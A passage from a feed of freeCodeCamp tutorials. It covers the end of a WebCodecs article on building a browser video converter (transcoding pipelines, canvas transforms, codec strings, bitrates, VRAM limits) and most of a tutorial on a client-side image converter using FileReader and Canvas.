    output.addVideoTrack(source);

    await output.start();

    for (const chunk of chunks){
        source.add(EncodedPacket.fromEncodedChunk(chunk))
    }

    await output.finalize();
    const buffer = &lt;ArrayBuffer&gt; output.target.buffer;
    return new Blob([buffer], { type: 'video/mp4' });

});
</code></pre>
<h2 id="heading-building-a-video-converter-utility">Building a Video Converter Utility</h2>
<p>Now that we've covered the basics of WebCodecs as well as Muxing, we'll move towards actually building an MVP of something useful: a video converter utility. We'll be able to use it to convert between mp4 and webm, and do some basic operations like resizing and flipping the video.</p>
<h3 id="heading-transcoding">Transcoding</h3>
<p>Before we do resizing and flipping, let's first handle a basic conversion decoding a video, and encoding the video to a new format. This is called transcoding.</p>
<p>To transcode video, we need to set up a pipeline with the following processes:</p>
<ul>
<li><p><strong>Demuxing</strong>: Read <em>EncodedVideoChunks</em> from a video file</p>
</li>
<li><p><strong>Decoding</strong>: Convert <em>EncodedVideoChunks</em> to <em>VideoFrames</em></p>
</li>
<li><p><strong>Encoding</strong>: Convert <em>VideoFrames</em> to new <em>EncodedVideoChunks</em></p>
</li>
<li><p><strong>Muxing</strong>: Write the <em>EncodedVideoChunks</em> to a new video file</p>
</li>
</ul>
<p>Our pipeline looks something like this:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/f06e8516-5498-44bd-9e68-e048afb303e9.png" alt="Transcoding pipeline" style="display:block;margin:0 auto" width="960" height="576" loading="lazy">

<p>Using everything we've covered in this article up until now, we could build a full working demo with just <em>VideoEncoder</em> and <em>VideoDecoder</em> as discussed. But then state management and tracking frames becomes complicated and error prone.</p>
<p>We're going to add one more abstraction, using the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Streams_API">Streams API</a>, which will make our pipeline look like the below. It ties directly to our mental model of our pipeline and simplifies a ton of details like state management.</p>
<pre><code class="language-javascript">const transcodePipeline = demuxerReader
    .pipeThrough(new VideoDecoderStream(videoDecoderConfig))
    .pipeThrough(new VideoEncoderStream(videoEncoderConfig))
    .pipeTo(createMuxerWriter(muxer));

await transcodePipeline;
</code></pre>
<p>To do this, we'll create a TransformStream for the <em>VideoDecoder</em> and <em>VideoEncoder.</em></p>
<pre><code class="language-typescript">class VideoDecoderStream extends TransformStream&lt;{ chunk: EncodedVideoChunk; index: number }, { frame: VideoFrame; index: number }&gt; {
  constructor(config: VideoDecoderConfig) {
    let pendingIndices: number[] = [];
    super(
      {
        start(controller) {
          decoder = new VideoDecoder({
            output: (frame) =&gt; {
              const index = pendingIndices.shift()!;
              controller.enqueue({ frame, index });
            },
            error: (e) =&gt; controller.error(e),
          });

          decoder.configure(config);
        },

        async transform(item, controller) {
          pendingIndices.push(item.index);
          decoder.decode(item.chunk);
        },

        async flush(controller) {
          await decoder.flush();
          if decoder.state !== 'closed' decoder.close();
        },
      }
    );
  }
}
</code></pre>
<p>I won't bore you with the full code, but I've packaged these utilities in the webcodecs-utils package, which can be used as such:</p>
<pre><code class="language-typescript">import {
  SimpleDemuxer,
  VideoDecodeStream,
  VideoEncodeStream,
  SimpleMuxer,
} from "webcodecs-utils";
</code></pre>
<p>Our code for transcoding a file then becomes this:</p>
<pre><code class="language-typescript">const demuxer = new SimpleDemuxer(videoFile);
await demuxer.load();
const decoderConfig = await demuxer.getVideoDecoderConfig();

const encoderConfig = {/*Whatever we decide*/};

// Set up muxer
const muxer = new SimpleMuxer({ video: "avc" });

// Build the upscaling pipeline
await demuxer.videoStream()
  .pipeThrough(new VideoDecodeStream(decoderConfig))
  .pipeThrough(new VideoEncodeStream(encoderConfig))
  .pipeTo(muxer.videoSink());

// Get output
const blob = await muxer.finalize();
</code></pre>
<p>For this intermediate demo, just to actually get transcoding to work, we'll download a <a href="https://katana.video/files/hero-small.mp4">pre-built file</a>, and we'll introduce a toggle to output an mp4 file (using <code>h264)</code> or a webm file (using <code>vp9</code>).</p>
<p>We'll use <code>avc1.4d0034</code> for h264 (most widely supported h264 codec string) and <code>vp09.00.40.08.00</code> for vp9 (most widely supported vp9 string).</p>
<p>Here's a basic transcoding demo on CodePen:</p>
<div class="embed-wrapper"><iframe width="100%" height="350" src="https://codepen.io/Sam-Bhattacharyya/embed/YPGvBgO" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>

<h3 id="heading-transformations">Transformations</h3>
<p>If we want to do any kind of transformations to the video, like flips, crops, rotations, resizing, and so on, we can't just work with pure <em>VideoFrame</em> objects.</p>
<p>The simplest way to accomplish this would be to introduce a Canvas element, where we'll use a <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D">2d Canvas Context</a> to manipulate our source frame and draw that to a canvas.</p>
<pre><code class="language-typescript">const canvas = new OffscreenCanvas(width, height);
const ctx = canvas.getContext('2d');

// Very easy to do transformations
ctx.drawImage(sourceFrame, 0, 0);
</code></pre>
<p>We'll then use the Canvas as a source image for our output video frame.</p>
<pre><code class="language-typescript">const outFrame = new VideoFrame(canvas, {timestamp: sourceFrame.timestamp});
</code></pre>
<p>To apply a resize operation, we'll first set the canvas dimensions to our output height and width.</p>
<pre><code class="language-typescript">const canvas = new OffscreenCanvas(outputWidth, outputHeight);
const ctx = canvas.getContext('2d');

// Resize sourceFrame to fit output dimensions
ctx.drawImage(sourceFrame, 0, 0, outputWidth, outputHeight);
</code></pre>
<p>To apply a horizontal flip operation with canvas2d, we can do the following:</p>
<pre><code class="language-typescript">ctx.scale(-1, 1);
ctx.translate(-outputWidth, 0);
ctx.drawImage(sourceFrame, 0, 0, outputWidth, outputHeight);
</code></pre>
<p>You can create a full render function that applies these transformations which looks like this:</p>
<pre><code class="language-typescript">function render(videoFrame, outW, outH, flipped) {

  canvas.width  = outW;
  canvas.height = outH;

  if (flipped) {
    ctx.scale(-1, 1);
    ctx.translate(-outW, 0);
  }
  ctx.drawImage(videoFrame, 0, 0, outW, outH);

}
</code></pre>
<p>Here's an interactive demo of what these transformations look like:</p>
<div class="embed-wrapper"><iframe width="100%" height="350" src="https://codepen.io/Sam-Bhattacharyya/embed/WbGymNQ" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>

<h3 id="heading-transform-pipeline">Transform Pipeline</h3>
<p>With these transformations, we need to adjust our pipeline to include a transformation step. It will take in a <em>VideoFrame</em>, apply the transforms, and return a transformed frame.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/0111f887-1f27-4436-a68e-ec91b2dd9959.svg" alt="Transcoding pipeline with transforms" style="display:block;margin:0 auto" width="1344" height="576" loading="lazy">

<p>In the webcodecs-utils package, there is a VideoProcessStream object for this purpose, which takes in an async function which takes in a <em>VideoFrame</em> and returns a <em>VideoFrame:</em></p>
<pre><code class="language-typescript">import { VideoProcessStream} from "webcodecs-utils";
 
new VideoProcessStream(async (frame) =&gt; {
      // Apply transformations
      return procesedFrame;
    }),
</code></pre>
<p>So to apply our transformations, we can set it up as so:</p>
<pre><code class="language-typescript">import { VideoProcessStream} from "webcodecs-utils";
 

const canvas = new OffscreenCanvas(outW, outH);
const ctx = canvas.getContext('2d');

const processStream = new VideoProcessStream(async (frame) =&gt; {
  
  if (flipped) {
    ctx.scale(-1, 1);
    ctx.translate(-outW, 0);
  }
  ctx.drawImage(frame, 0, 0, outW, outH);

  return new VideoFrame(canvas, {timestamp: frame.timestamp});

});
</code></pre>
<p>And then our full pipeline looks like this:</p>
<pre><code class="language-typescript">const demuxer = new SimpleDemuxer(videoFile);
await demuxer.load();
const decoderConfig = await demuxer.getVideoDecoderConfig();

const encoderConfig = {/*Whatever we decide*/};

// Set up muxer
const muxer = new SimpleMuxer({ video: "avc" });

// Build the upscaling pipeline
await demuxer.videoStream()
  .pipeThrough(new VideoDecodeStream(decoderConfig))
  .pipeThrough(processStream) // Just defined this
  .pipeThrough(new VideoEncodeStream(encoderConfig))
  .pipeTo(muxer.videoSink());

// Get output
const blob = await muxer.finalize();
</code></pre>
<p>Here's a full working demo with the process pipeline:</p>
<div class="embed-wrapper"><iframe width="100%" height="350" src="https://codepen.io/Sam-Bhattacharyya/embed/PwGaLPM" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>

<h3 id="heading-complete-demo">Complete Demo</h3>
<p>Now, for the complete tool, we'll make some key changes:</p>
<ul>
<li><p>You can upload your own video</p>
</li>
<li><p>We'll preview the transformations by extracting a frame</p>
</li>
<li><p>We'll add progress measurement</p>
</li>
</ul>
<p>For the input, that's trivial:</p>
<pre><code class="language-html">&lt;input type="file" onchange="handler(event)" /&gt;
</code></pre>
<p>For frame previews, we could use WebCodecs to generate a preview, but because the preview doesn't need frame-level accuracy or high performance, it's easier to just use the HTML5 VideoElement to grab a video frame from the source file.</p>
<pre><code class="language-javascript">async function getFirstFrame(file) {
  const video = document.createElement("video");
  video.src = URL.createObjectURL(file);
  video.muted = true;

  await new Promise((resolve) =&gt; video.addEventListener("loadeddata", resolve, { once: true }));
  video.currentTime = 0;
  await new Promise((resolve) =&gt; video.addEventListener("seeked", resolve, { once: true }));

  return new VideoFrame(video, {timestamp: 0});
}
</code></pre>
<p>Finally, we can calculate progress in the process function by using the frame timestamp / the video duration.</p>
<pre><code class="language-typescript">const {duration} = await demuxer.getMediaInfo();


const processStream = new VideoProcessStream(async (frame) =&gt; {
  
  if (flipped) {
    ctx.scale(-1, 1);
    ctx.translate(-outW, 0);
  }
  ctx.drawImage(frame, 0, 0, outW, outH);

   // Frame timestamps are in microseconds, duration in seconds
  const progress = frame.timestamp/(duration*1e6); 

  return new VideoFrame(canvas, {timestamp: frame.timestamp});

});
</code></pre>
<p>Putting this all together, we can finally put together a full working video converter utility:</p>
<div class="embed-wrapper"><iframe width="100%" height="350" src="https://codepen.io/Sam-Bhattacharyya/embed/WbGymaj" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>

<p>And that's it! We've built an MVP of something actually useful with WebCodecs 🎉, with Demuxing, Decoding, Canvas Transforms, Encoding, and Muxing.</p>
<p>The only difference between this and a full-fledged browser editing suite like Capcut is the scale and scope of transformations. But the video processing logic would be nearly identical.</p>
<h2 id="heading-production-concerns">Production Concerns</h2>
<p>It's great that we've been able to create something useful, but before we wrap up, it's important to cover some production-level concerns.</p>
<h3 id="heading-codecs">Codecs</h3>
<p>You might have noticed strings like <code>vp09.00.10.08</code> in the demos, but I glossed over the details. We'll cover that now:</p>
<p>First, WebCodecs works with specific codec strings like <code>vp09.00.10.08</code>, not just '<code>vp9</code>'. The following won't work:</p>
<pre><code class="language-plaintext">const codec = VideoEncoder({
    codec: 'vp9', //This won't work!
    //...
})
</code></pre>
<p>As discussed previously, when decoding video, you don't really get a choice of codec. The video is already encoded, and so you need to get the codec from the video, as shown in the previous demos.</p>
<p>The demuxing libraries mentioned will identify the correct codec string, so you don't need to worry about that.</p>
<pre><code class="language-typescript">const decoderConfig = await demuxer.getVideoDecoderConfig();
//decoderConfig.codec = exact codec string for the video
</code></pre>
<p>When encoding a video, you can can choose your codec. Some people care a lot about codec choice, but from a very practical, pragmatic perspective, these rules of thumb should work for most developers:</p>
<ul>
<li><p>If the videos your app generates will be downloaded by users and/or you want to output mp4 files, use <code>h264</code>.</p>
</li>
<li><p>If the videos generated are for internal use or you control video playback, and you don't care about format, use <code>vp9</code> with webm (open source, better compression, most widely supported codec).</p>
</li>
<li><p>For most apps, these two options will cover you — deeper codec selection is a rabbit hole you don't need to go down yet.</p>
</li>
</ul>
<p>Once you have a codec family chosen, you need to choose a specific codec string such as <code>avc1.42001f</code>.</p>
<p>The other numbers in the string specify certain codec parameters which are not as important from a developer perspective. If your goal is maximum compatibility, here's your cheat sheet for what codec strings to use</p>
<h5 id="heading-h264-for-mp4-files"><strong>h264</strong> (for mp4 files)</h5>
<ul>
<li><p><code>avc1.42001f</code> - base profile, most compatible, supports up to 720p (<a href="https://webcodecsfundamentals.org/codecs/avc1.42001f.html">99.6% support</a>)</p>
</li>
<li><p><code>avc1.4d0034</code> - main profile, level 5.2 (supports up to 4K) (<a href="https://webcodecsfundamentals.org/codecs/avc1.4d0034.html">98.9% support</a>)</p>
</li>
<li><p><code>avc1.42003e</code> - base profile, level 6.2 (supports up to 8k) (<a href="https://webcodecsfundamentals.org/codecs/avc1.42003e.html">86.8% support</a>)</p>
</li>
<li><p><code>avc1.64003e</code> - high profile - level 6.2 (supports up to 8k) (<a href="https://webcodecsfundamentals.org/codecs/avc1.64003e.html">85.9% support</a>)</p>
</li>
</ul>
<h5 id="heading-vp9-for-webm-files"><strong>vp9</strong> (for webm files)</h5>
<ul>
<li><p><code>vp09.00.10.08.00</code> - basic, most compatible, level 1 (<a href="https://webcodecsfundamentals.org/codecs/vp09.00.10.08.00.html">99.98% support</a>)</p>
</li>
<li><p><code>vp09.00.40.08.00</code> - level 4 (<a href="https://webcodecsfundamentals.org/codecs/vp09.00.40.08.00.html">99.96% support</a>)</p>
</li>
<li><p><code>vp09.00.50.08.00</code> - level 5 (<a href="https://webcodecsfundamentals.org/codecs/vp09.00.50.08.00.html">99.97% support</a>)</p>
</li>
<li><p><code>vp09.00.61.08.00</code> - level 6 (<a href="https://webcodecsfundamentals.org/codecs/vp09.00.61.08.00.html">99.97% support</a>)</p>
</li>
</ul>
<p>You can also use the <em>getCodecString</em> function from the <a href="https://www.npmjs.com/package/webcodecs-utils">webcodecs-utils</a> package:</p>
<pre><code class="language-typescript">import { getCodecString } from 'webcodecs-utils'

const codec_string = getCodecString('vp9', width, height, bitrate)
</code></pre>
<p>You can find a comprehensive list of what codecs and codec strings you can use in WebCodecs <a href="https://webcodecsfundamentals.org/datasets/codec-support-table/">here</a>.</p>
<h3 id="heading-bit-rate">Bit rate</h3>
<p>On top of height and width (which you presumably know from your content) and a codec string (which we just discussed), you also need to specify a bit rate when encoding video.</p>
<p>Video Compression algorithms have a trade-off between quality and file size. You can have high quality video with big file sizes, or lower quality video with lower file sizes.</p>
<p>Here's a quick visualization of what different quality levels look like for a 1080p video encoded at different bit rates:</p>
<p><strong>300 kbps</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/43d4af76-9951-47f8-9833-c64ea8034ded.png" alt="300kbps frame" style="display:block;margin:0 auto" width="256" height="256" loading="lazy">

<p><strong>1 Mbps</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/2872effb-d8ae-4001-a82a-00338bf69168.png" alt="1Mbps frame" style="display:block;margin:0 auto" width="256" height="256" loading="lazy">

<p><strong>3 Mbps</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/e25723ca-2896-4c85-be91-56fcaf4a426b.png" alt="3 Mbps frame" style="display:block;margin:0 auto" width="256" height="256" loading="lazy">

<p><strong>10 Mbps</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6984c5b1feda93761574fcb1/cdb983e9-d55d-49f5-9852-4e85f053f6ba.png" alt="10 Mbps frame" style="display:block;margin:0 auto" width="256" height="256" loading="lazy">

<p>Here's a quick lookup table for bitrate guidance:</p>
<table>
<thead>
<tr>
<th><strong>Resolution</strong></th>
<th><strong>Bitrate (30fps)</strong></th>
<th><strong>Bitrate (60fps)</strong></th>
</tr>
</thead>
<tbody><tr>
<td>4K</td>
<td>13-20 Mbps</td>
<td>20-30 Mbps</td>
</tr>
<tr>
<td>1080p</td>
<td>4.5-6 Mbps</td>
<td>6-9 Mbps</td>
</tr>
<tr>
<td>720p</td>
<td>2-4 Mbps</td>
<td>3-6 Mbps</td>
</tr>
<tr>
<td>480p</td>
<td>1.5-2 Mbps</td>
<td>2-3 Mbps</td>
</tr>
<tr>
<td>360p</td>
<td>0.5-1 Mbps</td>
<td>1-1.5 Mbps</td>
</tr>
<tr>
<td>240p</td>
<td>300-500 kbps</td>
<td>500-800 kbps</td>
</tr>
</tbody></table>
<p>You can also use this utility function in your own app as a quick approximation:</p>
<pre><code class="language-typescript">function getBitrate(width, height, fps, quality = 'good') {
    const pixels = width * height;

    const qualityFactors = {
      'low': 0.05,
      'good': 0.08,
      'high': 0.10,
      'very-high': 0.15
    };

    const factor = qualityFactors[quality] || qualityFactors['good'];

    // Returns bitrate in bits per second
    return pixels * fps * factor;
  }
</code></pre>
<p>The same function is also available in the webcodecs-utils package:</p>
<pre><code class="language-typescript">import { getBitrate } from 'webcodecs-utils'
</code></pre>
<h3 id="heading-gpu-vs-cpu">GPU vs CPU</h3>
<p>Most user devices have some type of graphics card (typically called integrated graphics). These are specialized chips with specific silicon architectures optimized for encoding and decoding video, as well as for basic graphics.</p>
<p>You might hear "GPU" and think AI data centers and gamers. But as far as web applications are concerned, almost everyone has a GPU.</p>
<p>This is important because while most frontend-development almost exclusively deals with the CPU, WebCodecs and video processing work primarily on the GPU.</p>
<p>Here's a quick guide for what kind of data is stored where:</p>
<table>
<thead>
<tr>
<th><strong>Data Type</strong></th>
<th><strong>Location</strong></th>
</tr>
</thead>
<tbody><tr>
<td>VideoFrame</td>
<td>GPU</td>
</tr>
<tr>
<td>EncodedVideoChunk</td>
<td>CPU</td>
</tr>
<tr>
<td>ImageBitmap</td>
<td>GPU</td>
</tr>
<tr>
<td>ArrayBuffer</td>
<td>CPU</td>
</tr>
<tr>
<td>File</td>
<td>CPU + Disk</td>
</tr>
</tbody></table>
<p>There's a performance cost to moving data around, and this also becomes important for managing memory.</p>
<h3 id="heading-memory">Memory</h3>
<p>VideoFrame objects can be quite large&nbsp;–&nbsp;30MB for a 4K video. A user's graphics card typically reserves some portion of RAM for "Video Memory" or "VRAM" which is where <em>VideoFrame</em> objects would be stored.</p>
<p>So if a user has 8GB of RAM, they would typically have 2GB of VRAM (how much is decided by the operating system).</p>
<p>If the amount of video data exceeds VRAM, your application will crash. This means that for a typical user, if you have more than 67 4K frames in memory (~2 seconds of video) the program will crash.</p>
<h4 id="heading-when-videoframes-are-generated">When VideoFrames are generated</h4>
<p>VideoFrame objects are generated whenever you create a <code>new VideoFrame(source)</code> but also from the <code>VideoDecoder</code>, specifically the output callback. Every time a frame is generated, memory usage goes up.</p>
<h4 id="heading-how-to-remove-videoframes">How to remove VideoFrames</h4>
<p>You can't rely on standard garbage collection for VideoFrame objects. You have to explicitly call close() on a frame when you're done:</p>
<pre><code class="language-typescript">frame.close()
</code></pre>
<p>In the Streams/Pipeline code and demo showed earlier, frames are actually being <a href="https://github.com/sb2702/webcodecs-utils/blob/main/src/streams/video-encode-stream.ts">closed</a> as soon as they are encoded in the <em>VideoProcessStream</em> and <em>VideoEncodeStream</em> interfaces.</p>
<p>The other reason Streams are helpful for WebCodecs is the <code>highWaterMark</code> property, which defaults to 10. What this means is that when you run:</p>
<pre><code class="language-typescript">await demuxer.videoStream()
  .pipeThrough(new VideoDecodeStream(decoderConfig))
  .pipeThrough(processStream) 
  .pipeThrough(new VideoEncodeStream(encoderConfig))
  .pipeTo(muxer.videoSink());
</code></pre>
<p>You ensure that no more than 10 video frames are in memory at any given time. The Streams API allows you to specify that limit while the browser itself deals with the logic of how to make that happen.</p>
<p>If you don't use the Streams API, you'll need to make sure you manage keeping track of memory limits and number of open video frames yourself.</p>
<h2 id="heading-further-resources">Further Resources</h2>
<p>Through this article we've gone over the basics of video processing, introduced the core concepts of the WebCodecs API, and built an MVP of a video converter utility. This is one of the simplest possible demos which actually touches all parts of the API. We also covered some basic production concerns.</p>
<p>This is just an introduction, and only scratches the surface of WebCodecs. For how simple the API looks, building a proper, production-ready WebCodecs application requires moving beyond hello-world demos.</p>
<p>To learn more about WebCodecs, you can check out <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebCodecs_API">MDN</a> and the <a href="https://webcodecsfundamentals.org/">WebCodecsFundamentals</a>, a comprehensive online textbook going much more in depth on WebCodecs.</p>
<p>You can also examine the source code of existing, production tested apps like <a href="https://www.remotion.dev/convert">Remotion Convert</a> (<a href="https://github.com/remotion-dev/remotion/tree/main/packages/convert">source code</a>) which is most similar to the demo app we covered, and <a href="http://free.upscaler.video/">Free AI Video Upscaler</a> (<a href="https://github.com/sb2702/free-ai-video-upscaler">source code</a>, <a href="https://github.com/sb2702/free-ai-video-upscaler/blob/main/src/processors/pipeline-processor.ts">processing pipeline</a>) which is the inspiration for the design patterns presented here and implemented in <a href="https://www.npmjs.com/package/webcodecs-utils">webcodecs-utils</a>.</p>
<p>Finally, while WebCodecs is harder than it looks, you can make your life a lot easier by using a library like <a href="https://mediabunny.dev/">MediaBunny</a>, which simplifies a lot of the details of things like memory management, file I/O, and other details. I use it in my own production WebCodecs applications.</p>
<p>Whether or not you actually build a full, production grade WebCodecs application, you now at least know that it's an option&nbsp;– one that's relatively new, provides better UX with lower server costs, and which is increasingly being adopted by prominent video applications like Capcut and Descript for its benefits.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Build a Browser-Based Image Converter with JavaScript ]]>
                </title>
                <description>
                    <![CDATA[ Image conversion is one of those small tasks developers run into occasionally. You might need to convert a PNG to JPEG to reduce size, or export an image to WebP for better performance. Most developer ]]>
                </description>
                <link>https://www.freecodecamp.org/news/build-a-browser-based-image-converter-using-javascript/</link>
                <guid isPermaLink="false">69c173e230a9b81e3a7df8f3</guid>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Tutorial ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Bhavin Sheth ]]>
                </dc:creator>
                <pubDate>Mon, 23 Mar 2026 17:09:54 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/uploads/covers/5e1e335a7a1d3fcc59028c64/c042a600-ec0e-495b-b004-dd5a4dfb1434.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Image conversion is one of those small tasks developers run into occasionally. You might need to convert a PNG to JPEG to reduce size, or export an image to WebP for better performance.</p>
<p>Most developers use online tools for this. But there’s a problem: many of those tools upload your image to a server. That can be slow, and sometimes you don’t want to upload private files at all.</p>
<p>The good news is that modern browsers are powerful enough to handle image conversion locally using JavaScript.</p>
<p>In this tutorial, you’ll learn how to build a browser-based image converter that runs entirely in the browser. The tool converts images using JavaScript without uploading files to a server, and allows users to download the converted file instantly.</p>
<p>By the end, you’ll understand how browser-based file processing works and how to use it in your own projects.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ol>
<li><p><a href="#heading-how-browser-based-image-conversion-works">How Browser-Based Image Conversion Works</a></p>
</li>
<li><p><a href="#heading-project-setup">Project Setup</a></p>
</li>
<li><p><a href="#heading-how-to-read-the-image-file-in-javascript">How to Read the Image File in JavaScript</a></p>
</li>
<li><p><a href="#heading-how-the-canvas-converts-the-image">How the Canvas Converts the Image</a></p>
</li>
<li><p><a href="#heading-how-the-download-works">How the Download Works</a></p>
</li>
<li><p><a href="#heading-why-this-approach-is-powerful">Why This Approach Is Powerful</a></p>
</li>
<li><p><a href="#heading-important-notes-from-real-world-use">Important Notes from Real-World Use</a></p>
</li>
<li><p><a href="#heading-common-mistakes-to-avoid">Common Mistakes to Avoid</a></p>
</li>
<li><p><a href="#heading-how-you-can-extend-this-project">How You Can Extend This Project</a></p>
</li>
<li><p><a href="#heading-why-browser-based-tools-are-becoming-more-popular">Why Browser-Based Tools Are Becoming More Popular</a></p>
</li>
<li><p><a href="#heading-demo-how-the-image-converter-works">Demo: How the Image Converter Works</a></p>
</li>
<li><p><a href="#heading-conclusion">Conclusion</a></p>
</li>
</ol>
<h2 id="heading-how-browser-based-image-conversion-works">How Browser-Based Image Conversion Works</h2>
<p>Before writing code, you should understand what’s happening behind the scenes.</p>
<p>Modern browsers provide several APIs that make this possible. JavaScript can read local files from a user’s device, draw images on a canvas element, and export the processed image in a different format.</p>
<p>The key pieces we’ll use are:</p>
<ul>
<li><p>File input – to select an image</p>
</li>
<li><p>FileReader – to read the file</p>
</li>
<li><p>Canvas API – to redraw and convert</p>
</li>
<li><p>toDataURL or toBlob – to export the converted image</p>
</li>
</ul>
<p>The important thing is that everything happens locally in the user’s browser. Nothing gets uploaded anywhere.</p>
<h2 id="heading-project-setup">Project Setup</h2>
<p>We’ll keep this simple with just HTML and JavaScript.</p>
<p>Create an <code>index.html</code> file:</p>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;title&gt;Image Converter&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h2&gt;Browser Image Converter&lt;/h2&gt;

&lt;input type="file" id="upload" accept="image/*"&gt;

&lt;select id="format"&gt;
  &lt;option value="image/png"&gt;PNG&lt;/option&gt;
  &lt;option value="image/jpeg"&gt;JPEG&lt;/option&gt;
  &lt;option value="image/webp"&gt;WebP&lt;/option&gt;
&lt;/select&gt;

&lt;button onclick="convertImage()"&gt;Convert&lt;/button&gt;

&lt;br&gt;&lt;br&gt;

&lt;a id="download" style="display:none;"&gt;Download Converted Image&lt;/a&gt;

&lt;script src="script.js"&gt;&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>This simple interface includes a file upload input for selecting the image, a format selector for choosing the output format, a convert button to start the process, and a download link that appears once the image has been converted.</p>
<p>Now let’s add the logic.</p>
<h2 id="heading-how-to-read-the-image-file-in-javascript">How to Read the Image File in JavaScript</h2>
<p>Create a <code>script.js</code> file:</p>
<pre><code class="language-javascript">function convertImage() {

  const fileInput = document.getElementById("upload");
  const format = document.getElementById("format").value;

  if (!fileInput.files.length) {
    alert("Please select an image");
    return;
  }

  const file = fileInput.files[0];
  const reader = new FileReader();

  reader.onload = function(event) {

    const img = new Image();

    img.onload = function() {

      const canvas = document.createElement("canvas");
      const ctx = canvas.getContext("2d");

      canvas.width = img.width;
      canvas.height = img.height;

      ctx.drawImage(img, 0, 0);

      const converted = canvas.toDataURL(format);

      const link = document.getElementById("download");

      link.href = converted;
      link.download = "converted-image";
      link.style.display = "inline";
      link.innerText = "Download Converted Image";

    };

    img.src = event.target.result;

  };

  reader.readAsDataURL(file);

}
</code></pre>
<p>This is the core of the image converter. Let’s break down what’s happening.</p>
<h3 id="heading-how-the-canvas-converts-the-image">How the Canvas Converts the Image</h3>
<p>This line draws the image:</p>
<pre><code class="language-javascript">ctx.drawImage(img, 0, 0);
</code></pre>
<p>Now the image exists inside the canvas.</p>
<p>This line converts it:</p>
<pre><code class="language-javascript">canvas.toDataURL(format);
</code></pre>
<p>This exports the image in the selected format.</p>
<p>For example:</p>
<ul>
<li><p>PNG → image/png</p>
</li>
<li><p>JPEG → image/jpeg</p>
</li>
<li><p>WebP → image/webp</p>
</li>
</ul>
<p>This is where the conversion actually happens.</p>
<h3 id="heading-how-the-download-works"><strong>How the Download Works</strong></h3>
<p>This part creates the download:</p>
<pre><code class="language-javascript">link.href = converted;
link.download = "converted-image";
</code></pre>
<p>The browser treats it as a downloadable file. No server needed.</p>
<h3 id="heading-why-this-approach-is-powerful"><strong>Why This Approach Is Powerful</strong></h3>
<p>This technique has several advantages.</p>
<ul>
<li><p><strong>It’s fast</strong>: There is no upload time, and everything runs locally.</p>
</li>
<li><p><strong>It’s private</strong>: Files never leave the user’s device. This matters for sensitive images.</p>
</li>
<li><p><strong>It reduces server costs</strong>: You don’t need backend processing. No storage, and no processing servers.</p>
</li>
</ul>
<h2 id="heading-important-notes-from-real-world-use">Important Notes from Real-World Use</h2>
<p>If you plan to build tools like this, here are a few practical things I’ve learned.</p>
<h3 id="heading-large-images-use-more-memory">Large Images Use More Memory</h3>
<p>Very large images can slow down the browser. If needed, you can resize images using Canvas.</p>
<h3 id="heading-jpeg-supports-quality-settings">JPEG Supports Quality Settings</h3>
<p>You can control quality:</p>
<pre><code class="language-plaintext">canvas.toDataURL("image/jpeg", 0.8);
</code></pre>
<p>This reduces file size.</p>
<h3 id="heading-webp-usually-gives-the-best-compression">WebP Usually Gives the Best Compression</h3>
<p>WebP often produces smaller files than PNG or JPEG. It’s a good default option.</p>
<h3 id="heading-how-to-resize-an-image-using-canvas">How to Resize an Image Using Canvas</h3>
<p>If you need to reduce the size of large images, you can resize them before exporting.</p>
<p>After loading the image, you can set a smaller width and height on the canvas:</p>
<pre><code class="language-javascript">const canvas = document.createElement("canvas");
const ctx = canvas.getContext("2d");

const maxWidth = 800;
const scale = maxWidth / img.width;

canvas.width = maxWidth;
canvas.height = img.height * scale;

ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
</code></pre>
<h2 id="heading-common-mistakes-to-avoid">Common Mistakes to Avoid</h2>
<h3 id="heading-trying-to-upload-files-unnecessarily">Trying to Upload Files Unnecessarily</h3>
<p>If processing can happen in the browser, do it there. It’s faster and simpler.</p>
<h3 id="heading-forgetting-browser-compatibility">Forgetting Browser Compatibility</h3>
<p>Most modern browsers support Canvas and FileReader. But always test.</p>
<h3 id="heading-not-validating-file-input-properly">Not Validating File Input Properly</h3>
<p>Before processing the image, it’s important to validate the input file.</p>
<p>For example, you can check if a file is selected and ensure it is an image:</p>
<pre><code class="language-javascript">const file = fileInput.files[0];

if (!file) {
  alert("Please select a file.");
  return;
}

if (!file.type.startsWith("image/")) {
  alert("Please upload a valid image file.");
  return;
}
</code></pre>
<h2 id="heading-how-you-can-extend-this-project">How You Can Extend This Project</h2>
